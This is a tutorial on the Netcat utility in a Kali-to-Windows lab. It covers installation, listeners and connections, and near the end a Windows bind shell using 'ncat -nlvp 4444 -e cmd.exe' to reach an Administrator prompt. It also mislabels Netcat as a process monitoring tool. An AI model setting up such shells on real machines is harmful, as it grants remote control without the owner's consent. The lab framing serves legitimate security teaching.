Netcat (often simply called nc) is a versatile networking utility included in Kali Linux
that allows users to read from and write to network connections using TCP or UDP protocols.
It is widely regarded as a "Swiss Army knife" for network troubleshooting, penetration testing,
and administration due to its broad range of features and simplicity.
Installing Netcat (nc) Process Monitoring Tool in Linux:
To install the Netcat tool, use the following commands based on your Linux distribution:
1. For Ubuntu:
sudo apt-get install netcat
2. For CentOS/RHEL:
sudo yum install nc
3. For Fedora 22+ and RHEL 8, 9:
sudo dnf install nc
Note: To verify that it is successfully installed in our system, we run the following command “nc -h”. This will display the help menu of Netcat, indicating that it is installed and ready to be used.
#nc example.com 80
#nc -l 192.168.0.1 8080
Identify IP addresses on both machines.
On Kali Linux run - ifconfig
On Windows PC run - ipconfig
After identifying and noting your IP addresses, you can start your connection process.
On your Kali VM, set up a Netcat listener on a specified port of your choice to “listen” for connections.
In this example, we are using port 4444 with the -nlvp options:
Option meanings:
n – numeric IP address only (no DNS resolution)
l – listen for inbound connections
v – verbose output
p – local port number
Command:
# nc -nlvp 4444
Open a new Command Prompt on your Windows VM and connect to the open port on your Kali VM using the following command:
Command:
# ncat -nv <Kali-IP> 4444
Windows Server:
This method is basically the same as above; however, you use the following command to listen for connections on the Windows VM:
Command:
# ncat -nlvp 4444
To connect to Windows from your Kali VM:
Use the following command to initiate the connection:
# nc -nv <Windows-IP> 4444
Windows Bind Shell:
To start a bind shell on the Windows machine, set up a listener with the cmd.exe
(Windows command prompt) executable attached to it. You can specify the file to execute using either:
-e = program to execute after connection
Syntax: -e <filename>
-c = use /bin/sh to execute
Syntax: -c <shell commands>
Example command to start the bind shell:
# ncat -nlvp 4444 -e cmd.exe
Now that the shell is bound to the port, connect to it from Kali using:
# nc -nv <Windows-IP> 4444
After the connection is established, you should see that the Kali VM now has access to the Windows shell.
You can verify this by running the command whoami, which should return something like:
server1\\Administrator